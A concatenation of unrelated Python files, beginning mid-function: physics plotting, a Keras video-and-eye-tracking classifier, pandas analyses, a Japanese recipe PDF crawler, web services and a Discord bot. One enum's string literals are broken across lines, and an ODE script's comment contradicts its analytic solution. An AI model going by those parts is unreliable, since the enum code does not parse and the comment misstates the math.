    colors_blues = [blues_cm(0.2 + 0.8 * i / NUM_BLUES) for i in range(NUM_BLUES)]
    for N in Nlist_2:
        if add_I:
            directory = data_path + f'su{N}_I'
        else:
            directory = data_path + f'su{N}'
        df = pd.read_csv(directory + '/' + 'meta.txt', delimiter=',')
        axs.scatter([N] * len(df['dim'].values), df['dim'].values, color='black')

    axs.plot(Nlist_2, list(map(lambda x: dim_su(2 ** x), Nlist)), label=r'$\mathfrak{su}(2^N)$', color=colors_reds[0],
             markersize=15,
             linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: 2 ** (2 * x - 1) - 2, Nlist)), label=r'$2^{2 N-1  }-2 $', color=colors_reds[1],
             markersize=15, linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: dim_su(2 ** (x - 1)), Nlist)), label=r'$\mathfrak{su}(2^{N-1})$',
             color=colors_reds[2],
             markersize=15, linewidth=2)
    axs.plot(Nlist_2[2:], list(map(lambda x: dim_su(2 ** (x - 1)) - 3, Nlist[2:])), label=r'Heisenberg',
             color=colors_reds[3], markersize=15, linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: dim_so(2 ** x), Nlist)), label=r'$\mathfrak{so}(2^N)$', color=colors_reds[4],
             markersize=15,
             linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: 2 ** (x - 2) * (2 ** (x - 1) + 1), Nlist)), label=r'$2^{N-2}(1+2^{N-1})$',
             color=colors_reds[NUM_BLUES], markersize=15, linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: dim_so(2 ** (x - 1)), Nlist)), label=r'$\mathfrak{so}(2^{N-1})$',
             color=colors_reds[6],
             markersize=15, linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: dim_so(2 * x), Nlist)), label=r'$\mathfrak{so}(2N)$', color=colors_blues[0],
             markersize=15,
             linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: dim_so(2 * x - 1), Nlist)), label=r'$\mathfrak{so}(2N - 1)$',
             color=colors_blues[1],
             markersize=15, linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: x * (x - 1), Nlist)), label=r'$XY$', color=colors_blues[2], markersize=15,
             linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: dim_so(x), Nlist)), label=r'$\mathfrak{so}(N)$', color=colors_blues[3],
             markersize=15,
             linewidth=2)
    axs.plot(Nlist_2, list(map(lambda x: x - 1, Nlist)), label=r'$U(1)^{\otimes N}$', color=colors_blues[4],
             markersize=15,
             linewidth=2)

    axs.set_xlabel(r'$2^N$')
    axs.set_ylabel('Dim')
    axs.set_xscale('log')
    axs.set_yscale('log')
    axs.legend(prop={'size': 6})
    # axs.set_title(
    #     f'Identification of subalgebras of 1D translational invariant '
    #     f'Hamiltonians {"(with I)" if add_I else ""}')
    fig.savefig(f'./figures/{"closed" if closed else "open"}/scaling_annotated{"_I" if add_I else ""}.pdf')
    fig.savefig(f'./figures/{"closed" if closed else "open"}/scaling_annotated{"_I" if add_I else ""}.png')

    if SHOW:
        plt.show()
    plt.close()

def plot_dimensions_per_set(add_I=False, closed=True):
    data_path = f'./data/{"closed" if closed else "open"}/'
    Nlist_2 = [4, 8, 16, 32, 64, 128,]
    Nlist = [int(np.log2(x)) for x in Nlist_2]
    fig, axs = plt.subplots(1, 1)
    fig.set_size_inches(6, 6)
    NUM_ALGEBRAS = 23
    dims = np.zeros((NUM_ALGEBRAS, len(Nlist_2)))
    cm_3 = plt.get_cmap('Dark2')
    cm = plt.get_cmap('tab20')
    colors = [cm(1. * i / 20) for i in range(20)] + [cm_3(1. * i / 8) for i in range(8)]
    for i in range(NUM_ALGEBRAS):
        for j, N in enumerate(Nlist_2):
            if add_I:
                directory = data_path + f'su{N}_I'
            else:
                directory = data_path + f'su{N}'
            with open(directory + '/' + f'pauliset_{i}.txt', 'r') as f:
                s = f.readline()
                s = s.strip('\n')
            dims[i, j] = int(s.split(" ")[-1])
        axs.plot(Nlist_2, dims[i, :], label=rf'$A_{{{i}}}$', marker='.', color=colors[i], markersize=15, linewidth=2)
    axs.legend()
    axs.set_xlabel(r'$2^N$')
    axs.set_ylabel('Dim')
    axs.set_xscale('log')
    axs.set_yscale('log')
    axs.grid()
    axs.legend(prop={'size': 6})
    # axs.set_title(
    #     f'Dimensions of all {NUM_ALGEBRAS} subalgebras of 1D translational invariant '
    #     f'Hamiltonians {"(with I)" if add_I else ""}')
    fig.savefig(f'./figures/{"closed" if closed else "open"}/scaling_traced{"_I" if add_I else ""}.pdf')
    fig.savefig(f'./figures/{"closed" if closed else "open"}/scaling_traced{"_I" if add_I else ""}.png')

    if SHOW:
        plt.show()
    plt.close()

if __name__ == "__main__":
    print("Creating figures...")
    for closed in [True, False]:
        for add_I in [True, False]:
            plot_dimensions_annotated(add_I, closed)
            plot_dimensions_per_set(add_I, closed)

    print("Done!")


import datetime
import logging
import random
import numpy as np
import pandas as pd
import sklearn.metrics as mt
import tensorflow as tf
from imblearn.over_sampling import RandomOverSampler
from scipy.stats import pearsonr
from sklearn.metrics import r2_score
from sklearn.model_selection import train_test_split
from tensorflow.keras import backend as K
from tensorflow.keras import callbacks
import result_generation.result_generator as rg
from data_processor.data_generator import DataGenerator
from neural import multi_modal_nn as ml

def rmsle_custom(y_true, y_pred):
    msle = tf.keras.losses.MeanSquaredLogarithmicError()
    return K.sqrt(msle(y_true, y_pred))

def root_mean_squared_error(y_true, y_pred):
    return K.sqrt(K.mean(K.square(y_pred - y_true)))

def _construct_model():
    multimodal = ml.DeepVDs(input_shape=input_shape, output_shape=output_shape)

    input_clip, flatten_clips = multimodal.get_conv_3d(input_shape)
    input_optic, flatten_optics = multimodal.get_conv_3d(input_shape)
    input_disp, flatten_disp = multimodal.get_conv_3d(input_shape)

    input_eye, flatten_eye = multimodal.get_lstm(custom_shape=(time_step_for_time_series, eye_features))
    input_head, flatten_head = multimodal.get_lstm(custom_shape=(time_step_for_time_series, head_features))

    # Get the full model
    model = multimodal.get_model([input_clip, input_optic, input_eye],
                                 [flatten_clips, flatten_optics, flatten_eye],
                                 classification=classification)

    return model

def _get_data_generators(train, test):
    # Get the Data generator
    train_gen = DataGenerator(dataset=train, base_path=base_path, image_shape=(input_shape[1], input_shape[2]),
                              time_step_image=input_shape[0], batch_size=batch_size, classification=classification,
                              time_step_time_series=time_step_for_time_series)

    # Get the Validation generator
    validation_gen = DataGenerator(dataset=test, base_path=base_path, image_shape=(input_shape[1], input_shape[2]),
                                   time_step_image=input_shape[0], batch_size=batch_size,
                                   classification=classification, time_step_time_series=time_step_for_time_series,
                                   shuffle=False)

    return train_gen, validation_gen

def manage_imbalance_class(meta_data):
    class1, class2, class3 = meta_data['cs_class'].value_counts()
    logging.info("Current Distribution of Class")
    logging.info("Class 1:  %s, Class 2: %s, Class 3: %s", class1, class2, class3)
    logging.info("Random Oversampling class")
    X = meta_data
    y = meta_data['fms']
    ros = RandomOverSampler(random_state=42)
    X_res, _ = ros.fit_resample(X, y)
    return X_res

def train_model():
    # Split the train and test data
    logging.info("Train Test Split....")
    train, test = train_test_split(meta_data, test_size=0.2)
    # Reindex them (Must do this)
    train = train.reset_index(drop=True)
    test = test.reset_index(drop=True)
    # # Get the generators
    train_gen, validation_gen = _get_data_generators(train, test)
    # # Compile Model and Fit model
    model = _construct_model()
    logging.info("See model summary at: .../results/model_summary.txt")
    with open('../results/model_summary.txt', 'w') as f:
        model.summary(print_fn=lambda x: f.write(x + '\n'))

    # # Save Model
    if classification:
        model.save('../model/deep_mcs_model_classification.h5')
    else:
        model.save('../model/deep_mcs_model_regression.h5')

    # # Train the Model
    log_dir = "../log/fit/" + datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
    tensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=log_dir, histogram_freq=1)

    # TODO: Try transfer learning
    if not classification:
        early_stopping = callbacks.EarlyStopping(monitor="val_loss",
                                                 mode="min", patience=50,
                                                 restore_best_weights=True)

        model.compile(loss=root_mean_squared_error, optimizer='rmsprop', metrics=['mse', 'mae'])
        train_history = model.fit(train_gen, validation_data=validation_gen, verbose=1, epochs=epochs,
                                  callbacks=[tensorboard_callback, early_stopping])
    else:
        early_stopping = callbacks.EarlyStopping(monitor="val_acc",
                                                 mode="max", patience=20,
                                                 restore_best_weights=True)

        model.compile(loss='categorical_crossentropy', optimizer='Adam', metrics=['accuracy'])
        train_history = model.fit(train_gen, validation_data=validation_gen, verbose=1, epochs=epochs,
                                  callbacks=[tensorboard_callback, early_stopping])

    # # Evaluate Model on Test Data
    print("Evaluate the Model on test data...")
    model.evaluate(validation_gen, verbose=1)

    # # Prediction
    test_generator = DataGenerator(dataset=test, base_path=base_path, image_shape=(input_shape[1], input_shape[2]),
                                   time_step_image=input_shape[0], batch_size=1,
                                   classification=classification, time_step_time_series=time_step_for_time_series,
                                   shuffle=False)
    if classification:
        print("Make Prediction on test data...")
        actual_cs = test['cs_class'].to_numpy()
        predicted_cs = model.predict(test_generator)
        predicted_cs = np.argmax(predicted_cs, axis=1)
        confusion_matrix = mt.confusion_matrix(actual_cs, predicted_cs)
        rg.plot_confusion_matrix(confusion_matrix, classes=list(range(output_shape - 1)))
        print(confusion_matrix)

        precisions, recall, f1_score, _ = mt.precision_recall_fscore_support(actual_cs, predicted_cs,
                                                                             labels=[0, 1, 2])
        print(precisions)
        print(recall)
        print(f1_score)
        rg.plot_train_vs_val_acc(train_history)

    else:
        predicted_cs = model.predict(test_generator)
        actual_cs = test['fms'].to_numpy()
        predicted_cs = list(np.concatenate(predicted_cs).flat)
        print("Predicted: ", predicted_cs)
        print("Actual: ", actual_cs)
        r2 = r2_score(actual_cs, predicted_cs, multioutput='variance_weighted')
        print("R2: ", r2)
        plcc, _ = pearsonr(actual_cs, predicted_cs)
        print("PLCC: ", plcc)

    # Train History
    rg.plot_train_vs_val_loss(train_history)

if __name__ == "__main__":
    # Initiate Log file
    logging.basicConfig(filename='../log/server.log', level=logging.DEBUG,
                        format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')

    logging.info("Starting Training the model")
    seed_constant = 11
    np.random.seed(seed_constant)
    random.seed(seed_constant)
    tf.random.set_seed(seed_constant)

    # Data path
    base_path = '../data'
    meta_data = pd.read_csv('../data/meta_data.csv')
    logging.info("Check for imbalance class")
    meta_data = manage_imbalance_class(meta_data)
    logging.info("Data Shape after oversampling: %s", meta_data.shape)

    # Setup the Hyper Parameters
    logging.info("................Current Hyper Parameters.......................")
    input_shape = (32, 64, 64, 3)  # Shape (time_step, H, W, D)
    time_step_for_time_series = 32
    eye_features = 9
    head_features = 4
    batch_size = 4
    epochs = 500
    classification = True

    logging.info("Image Shape: %s", input_shape)
    logging.info("Eye data shape: %s", (time_step_for_time_series, eye_features))
    logging.info("Head data shape: %s", (time_step_for_time_series, head_features))
    logging.info("Epochs %s", epochs)
    logging.info("Batch Size %s", batch_size)

    if classification:
        logging.info("Doing classification....")
        output_shape = 3
    else:
        logging.info("Doing Regression....")
        output_shape = 1

    train_model()


import pandas as pd
import matplotlib.pyplot as plt

def collect_data():
    data_df = pd.read_csv('./data_pd/happiness_report.csv')
    return data_df

def process_data(data_df):
    # data_df.groupby(by=['Year','Region'])
    # ['Happiness Score','Economy (GDP per Capita)'].mean()
    data_df.dropna(inplace=True)
    data_df.sort_values(['Year','Happiness Score'], ascending=[True,False],inplace=True)
    return data_df

def analyse_data(data_df):
    grouped_results = data_df.groupby(by=['Year','Region'])['Happiness Score'].mean()
    pivot_results = pd.pivot_table(data_df, index='Region', columns='Year',
                                   values=['Happiness Score', 'Economy (GDP per Capita)'],
                                   aggfunc='mean')
    return grouped_results,pivot_results

def plot(pivot_results):
    # grouped_results.plot()
    # plt.show()
    pivot_results['Happiness Score'].plot(kind='bar',title='Happiness Score')
    plt.tight_layout()
    plt.savefig('./pivot_score.png')
    plt.show()
    pivot_results['Economy (GDP per Capita)'].plot(kind='bar',title='Economy (GDP per Capital)')
    plt.tight_layout()
    plt.savefig('./pivot_gdp.png')
    plt.show()

def main():
    data_df = collect_data()
    data_df = process_data(data_df)
    grouped_results, pivot_results = analyse_data(data_df)
    plot(pivot_results)

main()


# -*- coding: utf-8 -*-
"""
Created on Sat Jan  8 20:52:41 2022

@author: TonyE
"""

import numpy as np
import matplotlib.pyplot as plt

def FwdEuler (t0,y0,h,f,tmax):
    N = int(tmax/h)+1
    t = np.empty(N, dtype = float)
    y = np.empty(N, dtype = float)
    t[0] = t0
    y[0] = y0
    for i in range (1, N):
        y[i]= y[i-1] + h* func (t[i-1],y[i-1])
        t[i] = t[i-1]+h
    return (t,y)

def func (t,y): #Using ODE for a numerical approach
    return (-2*y*t - 2*t**3)

h = 0.01
t,y = FwdEuler (0,100,h,func,50)

#using the analytical solution y = 100e^(-0.1x)
tanalytic = np.arange(0,50,0.01)
fanalytic = lambda x: 1- x**2 + 100* np.exp(-x**2)
yanalytic = fanalytic(tanalytic)
plt.plot (t,y, label = "Numeric")
plt.plot (tanalytic,yanalytic, label = "Analytic", c = "red", linestyle = "dotted")

plt.legend()


import re
from enum import Enum

class ParagraphType(Enum):
    CONTINUATION = (1, r'[^\$]', '
{content}
')
    INDENT = (2, r'\$>', '
{content}
')
    CHAPTER_HEADER = (4, r'\$h2>', '
{content}
')
    INDENT_QUOTE = (7, r'\$cyt>\$>', '
{content}
')
    RIGHT_ALIGNED = (3, r'\$r>', '
{content}
')
    TOP_INDENTED = (7, r'\$t12>\$>', '
{content}
')
    RIGHT_ALIGNED_QUOTE = (8, r'\$cyt>\$r>', '
{content}
')

    def __init__(self, ind, pattern, template):
        self.ind = ind
        self.pattern = pattern
        self.template = template

class ParagraphTypeRecognizer:
    @staticmethod
    def recognize(raw_text: str) -> ParagraphType:
        for paragraph_type in ParagraphType:
            marker = raw_text[0:paragraph_type.ind]
            if re.fullmatch(paragraph_type.pattern, marker):
                return paragraph_type


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Aug 30 21:48:13 2019

@author: yuki_next
"""

from . import bases
from recipe_crawler.models import Recipe, RecipeText
import io
import re
import pathlib
import logging
import dateutil
import copy
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LAParams, LTContainer, LTTextBox
from pdfminer.pdfinterp import PDFPageInterpreter, PDFResourceManager
from pdfminer.pdfpage import PDFPage

logger = logging.getLogger(__name__)

class NhkNoukameshiRecipeCrawler(bases.RecipeCrawlerTemplate):
    site_name = "nhk_noukameshi"

    def _trans_to_recipe_id_from_str(self, target_id_str):
        return target_id_str

    def _sortkey_cache_filename(self, target_fn):
        return target_fn.stem

    def _is_valid_cache_filename(self, target_fn):
        return True

    def _get_recipe_id_from_cache_file(self, target_fn):
        return target_fn.stem

    def _get_recipe_overviews(self, overview_soup, entry_url):
        recipes = dict() # key: Recipe.id, value: Recipe
        links = [a for a in overview_soup.find_all("a") if a.text == "レシピ"]
        for link in links:
            recipe = Recipe()
            recipe.detail_url = link["href"]
            recipe.id = pathlib.Path(recipe.detail_url).stem
            recipe.program_name = self.program_name
            recipes[recipe.id] = recipe

        return recipes

    def _convert_detail_content(self, raw_content):
        # Layout Analysisのパラメーターを設定。縦書きの検出を有効にする。
        laparams = LAParams(detect_vertical=True)

        # 共有のリソースを管理するリソースマネージャーを作成。
        resource_manager = PDFResourceManager()

        # ページを集めるPageAggregatorオブジェクトを作成。
        device = PDFPageAggregator(resource_manager, laparams=laparams)

        # Interpreterオブジェクトを作成。
        interpreter = PDFPageInterpreter(resource_manager, device)

        ret = ""
        for page in PDFPage.get_pages(io.BytesIO(raw_content)):
            interpreter.process_page(page)
            layout = device.get_result()
            boxes = NhkNoukameshiRecipeCrawler.find_textboxes_recursively(layout)
            boxes.sort(key=lambda b: (-b.y1, b.x0))
            for box in boxes:
                tmp = box.get_text()
                if len(tmp.strip()):
                    if len(tmp.strip()) == 1:
                        ret += "\n" + tmp.strip()
                    else:
                        ret += tmp
        return ret

    def _recipe_details_generator(self, converted_content, overview_recipe):
        """
        must deepcopy "recipe" before use
        """
        def get_cooking_shop_strings(lines):
            ret = []
            buf = None
            is_recipe_step_area = False
            for l in lines:
                if re.search("軒目", l.strip()) or re.match(r"^[①-⑳＊].*『.*』", l.strip()) or re.match(r"^[①-⑳＊].*「.*」", l.strip()):
                    if buf:
                        ret.append(buf)
                    buf = l.strip()
                    continue

                if re.search("^(料理|万能調味料)", l.strip()):
                    is_recipe_step_area = False

                if re.search("^材料", l.strip()):
                    title, materials = re.search("(材料)(.*)", l.strip()).groups()
                    # buf += "\n" + "\n".join(l.strip().split(None, 1))
                    buf += "\n" + title + "\n" + materials.strip()
                    continue

                if re.search("^作り方", l.strip()):
                    is_recipe_step_area = True
                    title, recipe_steps = re.search("(作り方)(.*)", l.strip()).groups()
                    # buf += "\n" + "\n".join(l.strip().split(None, 1))
                    buf += "\n" + title + "\n" + recipe_steps.strip()
                    continue

                if buf:
                    if is_recipe_step_area:
                        if re.match(r"^[①-⑳＊]", l.strip()):
                            buf += "\n" + l.strip()
                        else:
                            buf += l.strip()
                    else:
                        buf += "\n" + l.strip()
            if buf:
                ret.append(buf)

            return ret

        for ii, l in enumerate(converted_content.splitlines()):
            if ii == 1:
                overview_recipe.cooking_name_sub = l.strip()
                continue

            if -1 < l.find("初回放送"):
                overview_recipe.program_date = dateutil.parser.parse("/".join(re.search(r"(\d+)\D+(\d+)\D+(\d+)\D+", l).groups()))
                break

        cooking_shop_strings = get_cooking_shop_strings(converted_content.splitlines())

        logger.debug("-" * 20)
        logger.debug(cooking_shop_strings)
        for shop_string in cooking_shop_strings:
            recipe_shop = None
            recipe = None
            is_material_area = False
            is_recipe_step_area = False
            for l in shop_string.splitlines():
                if len(l.strip()) == 0:
                    continue

                if is_material_area == False and is_recipe_step_area == False:
                    if re.search("軒目", l.strip()) or re.match(r"^[①-⑳＊].*『.*』", l.strip()) or re.match(r"^[①-⑳＊].*「.*」", l.strip()):
                        recipe_shop = copy.deepcopy(overview_recipe)
                        recipe = None

                        m = re.search(r"「(.*)」", l)
                        if m:
                            recipe_shop.cooking_name_sub += "/" + m.group(1)
                        else:
                            m2 = re.search(r"『(.*)』", l)
                            if m2:
                                recipe_shop.cooking_name_sub += "/" + m2.group(1)

                        continue

                if re.search("^(料理|万能調味料)", l.strip()):
                    is_material_area = False
                    is_recipe_step_area = False
                    if recipe:
                        yield recipe

                    if recipe_shop:
                        recipe = copy.deepcopy(recipe_shop)
                    else:
                        recipe = copy.deepcopy(overview_recipe)

                    if -1 < l.find(":"):
                        recipe.cooking_name = l.split(":")[1].strip()
                    elif -1 < l.find("："):
                        recipe.cooking_name = l.split("：")[1].strip()
                    elif re.search(r"^(料理|万能調味料)[①-⑳]", l.strip()):
                        # https://www.nhk.or.jp/program/manpuku/recipe/dg0_200115.pdf
                        # 料理①カルパッチョ
                        recipe.cooking_name = l.strip()[3:].strip()
                    else:
                        recipe.cooking_name = l.split(None, 1)[1].strip()
                    continue

                if re.search("^材料", l.strip()):
                    is_material_area = True
                    is_recipe_step_area = False
                    if l.strip() == "材料":
                        continue

                if re.search("^作り方", l.strip()):
                    is_material_area = False
                    is_recipe_step_area = True
                    if l.strip() == "作り方":
                        pass
                    else:
                        l = l.replace("作り方", "", 1)
                        # recipeがNoneの場合はエラーとして検出したい
                        recipe.recipe_steps.append(RecipeText(l.strip()))
                    continue

                if is_material_area:
                    for material in l.strip().split("、"):
                        material = material.strip()
                        if len(material):
                            if material.startswith("("):
                                recipe.materials.append(RecipeText(material))
                            else:
                                recipe.materials.append(RecipeText(material.replace("（", ": ").replace("）", "")))

                if is_recipe_step_area:
                    recipe.recipe_steps.append(RecipeText(l.strip()))
            if recipe:
                yield recipe

    @classmethod
    def find_textboxes_recursively(cls, layout_obj):
        """
        再帰的にテキストボックス（LTTextBox）を探して、テキストボックスのリストを取得する。
        """
        # LTTextBoxを継承するオブジェクトの場合は1要素のリストを返す。
        if isinstance(layout_obj, LTTextBox):
            return [layout_obj]

        # LTContainerを継承するオブジェクトは子要素を含むので、再帰的に探す。
        if isinstance(layout_obj, LTContainer):
            boxes = []
            for child in layout_obj:
                boxes.extend(NhkNoukameshiRecipeCrawler.find_textboxes_recursively(child))

            return boxes

        return []  # その他の場合は空リストを返す。


import spectral as spec
import sys
import Pyro4
from twisted.python import log
from twisted.internet import reactor

def get_settings_object():
    return Pyro4.Proxy("PYRONAME:sc.settings")

def send_to_websocket(queue, data, dtype):
    container = spec.supervisor.websocket.WebsocketDataContainer(dtype, data)
    container.enqueue(queue)

def websocket_control(port):
    log.startLogging(sys.stdout)
    factory = spec.supervisor.websocket.ServerProtocolControlFactory(url="ws://localhost:{}".format(port))
    factory.protocol = spec.supervisor.websocket.ServerProtocolControl
    reactor.listenTCP(port, factory)
    reactor.run()

def websocket_data(port, src_queue, rec_queue, det_queue, sample_freq):
    log.startLogging(sys.stdout)
    factory = spec.supervisor.websocket.ServerProtocolDataFactory(url="ws://localhost:{}".format(port),
                                                                  src_queue=src_queue,
                                                                  rec_queue=rec_queue,
                                                                  det_queue=det_queue,
                                                                  sample_freq=sample_freq,
                                                                  )
    factory.protocol = spec.supervisor.websocket.ServerProtocolData
    reactor.listenTCP(port, factory)
    reactor.run()


import json
import ast
import json
from naver_core import *

class TourDto(object):
    def __init__(self, value):
        # from Frontend
        tour = value.get("tour") or None
        logistic = value.get("logistic") or None
        arrival_date = logistic.get("arrival_date") or None
        departure_date = logistic.get("departure_date") or None
        customer = value.get("customer") or None
        destinations = value.get("destinations") or None
        day = (departure_date - arrival_date).days + 1
        # to DataBase
        self.tour_id = tour.get("code")
        self.valid = logistic.get("until_date")
        self.destination_country_id = tour.get("country")
        self.purposes = (tour.get("purposes"))
        self.accomodation_type_id = tour.get("accomodation_type")
        self.arrival_date = logistic.get("arrival_date")
        self.departure_date = logistic.get("departure_date")
        self.passengers = tour.get("passengers")
        self.days = day
        self.nights = self.days - 1
        self.description = tour.get("travel_code")
        self.client_id = customer.get("client_dni")
        self.tour = json.dumps(tour, indent=4, sort_keys=True, default=str)
        self.customer = json.dumps(
            customer, indent=4, sort_keys=True, default=str)
        self.logistic = json.dumps(
            logistic, indent=4, sort_keys=True, default=str)
        self.destinations = json.dumps(destinations)
        self.detail = json.dumps(
            self.toDict(), indent=4, sort_keys=True, default=str)

    # to DataBase
    def toDict(self):
        return {
            "tour_id": self.tour_id,
            "destinations": self.destinations,
            "valid": self.valid,
            "destination_country_id": self.destination_country_id,
            "purposes": self.purposes,
            "accomodation_type_id": self.accomodation_type_id,
            "arrival_date": self.arrival_date,
            "departure_date": self.departure_date,
            "passengers": self.passengers,
            "days": self.days,
            "nights": self.nights,
            "description": self.description,
            "client_id": self.client_id,
            "tour": self.tour,
            "customer": self.customer,
            "logistic": self.logistic,
        }

    # from DataBase
    def __dict__(self):
        return {
            "tour_id": self.tour_id,
            "destinations": self.destinations,
            "valid": self.valid,
            "destination_country_id": self.destination_country_id,
            "purposes": self.purposes,
            "accomodation_type_id": self.accomodation_type_id,
            "arrival_date": self.arrival_date,
            "departure_date": self.departure_date,
            "passengers": self.passengers,
            "days": self.days,
            "nights": self.nights,
            "description": self.description,
            "client_id": self.client_id,
            "detail": self.detail,
            "tour": self.tour,
            "customer": self.customer,
            "logistic": self.logistic,
        }


import logging
import copy

from spaceone.core.service import *
from spaceone.config.manager.config_map_manager import ConfigMapManager

_LOGGER = logging.getLogger(__name__)

@authentication_handler
@authorization_handler
@event_handler
class ConfigMapService(BaseService):

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.config_map_mgr: ConfigMapManager = self.locator.get_manager('ConfigMapManager')

    @transaction
    @check_required(['name', 'data', 'domain_id'])
    def create(self, params):
        """Create config map

        Args:
            params (dict): {
                'name': 'str',
                'data': 'dict',
                'tags': 'dict',
                'domain_id': 'str'
            }

        Returns:
            config_map_vo (object)
        """

        return self.config_map_mgr.create_config_map(params)

    @transaction
    @check_required(['name', 'domain_id'])
    def update(self, params):
        """Update config map

        Args:
            params (dict): {
                'name': 'str',
                'data': 'dict',
                'tags': 'dict',
                'domain_id': 'str'
            }

        Returns:
            config_map_vo (object)
        """
        return self.config_map_mgr.update_config_map(params)

    @transaction
    @check_required(['name', 'domain_id'])
    def delete(self, params):
        """Delete config map

        Args:
            params (dict): {
                'name': 'str',
                'domain_id': 'str'
            }

        Returns:
            None
        """

        self.config_map_mgr.delete_config_map(params['name'], params['domain_id'])

    @transaction
    @check_required(['name', 'domain_id'])
    def get(self, params):
        """Get config map

        Args:
            params (dict): {
                'name': 'str',
                'domain_id': 'str',
                'only': 'list'
            }

        Returns:
            config_map_vo (object)
        """

        return self.config_map_mgr.get_config_map(params['name'], params['domain_id'], params.get('only'))

    @transaction
    @check_required(['domain_id'])
    @append_query_filter(['name', 'domain_id'])
    @append_keyword_filter(['name'])
    def list(self, params):
        """ List config maps

        Args:
            params (dict): {
                'name': 'str',
                'domain_id': 'str',
                'query': 'dict (spaceone.api.core.v1.Query)'
            }

        Returns:
            config_map_vos (objects)
            total_count (int)
        """

        query = params.get('query', {})
        return self.config_map_mgr.list_config_maps(query)

    @transaction
    @check_required(['query', 'domain_id'])
    @append_query_filter(['domain_id'])
    def stat(self, params):
        """
        Args:
            params (dict): {
                'domain_id': 'str',
                'query': 'dict (spaceone.api.core.v1.StatisticsQuery)'
            }

        Returns:
            values (list) : 'list of statistics data'

        """

        query = params.get('query', {})
        return self.config_map_mgr.state_config_maps(query)


from collections import Counter
ssru = "абвгдеёжзийклмнопрстуфхцчшщъыьэюяАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ"
def count(p):
    counter = Counter(p)
    maxx = max(counter.values())
    summ = sum(counter.values())
    counter = counter.most_common()
    number = 1
    for i in counter:
        print(number, i[0], "*" * round(round(i[1]/summ, 3)*10), round(i[1]/summ, 3), 'numb:', i[1])
        number += 1
    print()

file = open("text.txt", "r", encoding = "utf-8").read()
p = ''.join(x.lower() for x in file if x in ssru)
count(p)


from fastapi import Depends
from repositories import AsyncIOMotorClient, get_database
from motor.motor_asyncio import AsyncIOMotorClient
from models.user import user_dict

class UserRepository:
    def __init__(self, db: AsyncIOMotorClient = Depends(get_database)):
        self._db = db

    async def get_users(self):
        users = []
        async for user in self._db['users'].find():
            users.append(user_dict(user))
        return users

    async def create_user(self, user: dict) -> dict:
        row = await self._db['users'].insert_one(user)
        user = await self._db['users'].find_one({"_id": row.inserted_id})
        return user_dict(user)


import discord
import random
import datetime
from discord.ext import commands
from discord import File
from PIL import Image, ImageDraw, ImageFont
import io

class image(commands.Cog):
    def __init__(self, bot):
        self.bot = bot

    @commands.command(aliases=['pfp', 'av', 'prfp'])
    async def avatar(self, ctx, member: discord.Member = None):
        if not member:
            member = ctx.message.author

        show_avatar = discord.Embed(
            description="[Avatar URL](%s)" % member.avatar_url,
            timestamp=datetime.datetime.utcnow(),
            color=random.randint(0, 0xFFFFFF))
        show_avatar.set_image(url=f"{member.avatar_url}")
        show_avatar.set_footer(text=f'{member}')
        await ctx.send(embed=show_avatar)

    @commands.command()
    async def yotub(self, ctx):
        file = discord.File('images/YoTub.png', filename='YoTub.png')
        embed = discord.Embed(color=0xff0000, title='YoTub')
        embed.set_image(url='attachment://YoTub.png')
        await ctx.send(file=file, embed=embed)

    @commands.command(name='canvas')
    async def canvas(self, ctx, text=None):
        # read background image only once

        # it doesn't need `io.Bytes` because it `response` has method `read()`
        background_image = Image.open('images/GRAdient.png')
        # add channel ALPHA to draw transparent rectangle
        background_image = background_image.convert('RGBA')
        AVATAR_SIZE = 128

        # --- duplicate image ----

        image = background_image.copy()

        image_width, image_height = image.size

        # --- draw on image ---

        # create object for drawing

        #draw = ImageDraw.Draw(image)

        # draw red rectangle with alpha channel on new image (with the same size as original image)

        rect_x0 = 20  # left marign
        rect_y0 = 20  # top marign

        rect_x1 = image_width - 20  # right margin
        rect_y1 = 20 + AVATAR_SIZE - 1  # top margin + size of avatar

        rect_width = rect_x1 - rect_x0
        rect_height = rect_y1 - rect_y0

        rectangle_image = Image.new('RGBA', (image_width, image_height))
        rectangle_draw = ImageDraw.Draw(rectangle_image)

        rectangle_draw.rectangle(
            (rect_x0, rect_y0, rect_x1, rect_y1), fill=(0, 255, 0, 0))

        # put rectangle on original image

        image = Image.alpha_composite(image, rectangle_image)

        # create object for drawing

        # create new object for drawing after changing original `image`
        draw = ImageDraw.Draw(image)

        # draw text in center

        text = f'Hello {ctx.author.name}'

        font = ImageFont.truetype('fonts/BurbankBigCondensed-Bold.otf', 30)

        text_width, text_height = draw.textsize(text, font=font)
        # skip avatar when center text
        x = (rect_width - text_width - AVATAR_SIZE)//2
        y = (rect_height - text_height)//2

        x += rect_x0 + AVATAR_SIZE     # skip avatar when center text
        y += rect_y0

        draw.text((x, y), text, fill=(0, 0, 255, 255), font=font)

        # --- avatar ---

        # get URL to avatar
        # sometimes `size=` doesn't gives me image in expected size so later I use `resize()`
        avatar_asset = ctx.author.avatar_url_as(format='png', size=AVATAR_SIZE)

        # read JPG from server to buffer (file-like object)
        buffer_avatar = io.BytesIO(await avatar_asset.read())

    #    buffer_avatar = io.BytesIO()
    #    await avatar_asset.save(buffer_avatar)
    #    buffer_avatar.seek(0)

        # read JPG from buffer to Image
        avatar_image = Image.open(buffer_avatar)

        # resize it
        avatar_image = avatar_image.resize((AVATAR_SIZE, AVATAR_SIZE))

        circle_image = Image.new('L', (AVATAR_SIZE, AVATAR_SIZE))
        circle_draw = ImageDraw.Draw(circle_image)
        circle_draw.ellipse((0, 0, AVATAR_SIZE, AVATAR_SIZE), fill=255)
        # avatar_image.putalpha(circle_image)
        # avatar_image.show()

        image.paste(avatar_image, (rect_x0, rect_y0), circle_image)

